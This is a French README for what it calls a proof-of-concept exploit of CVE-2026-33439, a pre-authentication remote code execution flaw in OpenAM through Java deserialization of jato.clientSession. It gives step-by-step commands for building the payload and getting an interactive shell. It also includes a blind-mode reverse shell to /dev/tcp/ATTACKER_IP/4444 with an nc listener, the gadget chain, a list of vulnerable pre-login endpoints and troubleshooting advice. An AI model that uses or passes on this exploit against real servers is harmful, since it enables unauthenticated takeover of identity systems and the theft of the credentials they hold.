PoC Python exploitant CVE-2026-33439, une RCE pré-authentification dans OpenAM via la désérialisation Java du paramètre jato.clientSession, avec modes shell interactif et aveugle.
Exécution de code à distance avant authentification dans OpenIdentityPlatform OpenAM <= 16.0.5 via une désérialisation Java non sécurisée du paramètre jato.clientSession (CVSS 9.8).
Pour des tests de sécurité autorisés uniquement.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — doit correspondre à la version de la JVM du serveur cible ; JDK 25 produit des objets sérialisés incompatibles)L'EvilTranslet lit l'en-tête HTTP cmd de la requête, l'exécute et écrit stdout directement dans la réponse HTTP. Aucun listener nécessaire.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
La commande est intégrée dans le bytecode de l'EvilTranslet. Aucune sortie n'est renvoyée ; utilisez un listener (nc, etc.) pour intercepter les callbacks.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Option | Description |
|---|---|
| (aucune option) | Construit la payload interactive (lit l'en-tête cmd à l'exécution) |
--command "CMD" | Construit la payload aveugle avec CMD intégrée dans le bytecode |
--jars DIR | Utilise un répertoire local de JARs au lieu de les télécharger (par défaut : ./libs) |
--download-only | Télécharge uniquement les JARs, sans compiler |
exploit.py| Option | Description |
|---|---|
--url URL | URL cible (requis) — endpoint complet ou URL de base avec --probe/--all |
--shell | Pseudo-shell interactif (mode interactif) |
--probe | Détecte automatiquement l'endpoint vulnérable à partir de l'URL de base |
--all | Envoie la payload à TOUS les endpoints JATO (mode aveugle) |
--method GET|POST | Méthode d'envoi HTTP (par défaut : GET) |
--proxy URL | Proxy HTTP (ex. http://127.0.0.1:8080 pour Burp) |
--timeout SECS | Délai d'expiration des requêtes (par défaut : 15) |
--verify-tls | Active la vérification du certificat TLS |
--debug | Affiche les détails des requêtes/réponses |
Tout le code source est dans le dépôt — aucun blob opaque. Les sources Java sont intégrées dans build.py sous forme de constantes de chaînes lisibles. Après compilation, vérifiez la sortie :
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — récupère la requête/réponse HTTP via le classloader du webapprequest.getHeader("cmd") — lit la commandenew ProcessBuilder("/bin/sh", "-c", cmd) — exécuteresponse.reset() — efface toute sortie JSP antérieuretext/plain, puis ferme le flux de sortieRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — tire et oublieTout endpoint JATO ViewBean affichant des balises <jato:form>, accessible avant authentification :
| Endpoint | Remarques |
|---|---|
/openam/ui/PWResetUserValidation | Réinitialisation de mot de passe (le plus fiable) |
/openam/ui/PWResetQuestion | Questions de sécurité pour la réinitialisation de mot de passe |
/openam/ui/Login | Page de connexion |
| Symptôme | Cause | Correctif |
|---|---|---|
| Page HTML renvoyée au lieu de la sortie de commande | Le JSP écrase la réponse | Utilisez --shell avec la payload interactive ; ou passez en mode aveugle |
| La désérialisation ne se déclenche pas | Incompatibilité de version JDK | Recompilez avec JDK 21 : export JAVA_HOME=/path/to/jdk-21 |
| Délai d'expiration du handshake TLS | Le serveur exige un nom d'hôte SNI | Ajoutez la cible dans /etc/hosts et utilisez le nom d'hôte, pas l'IP |
javac introuvable | JDK non installé | apt install openjdk-21-jdk |
MIT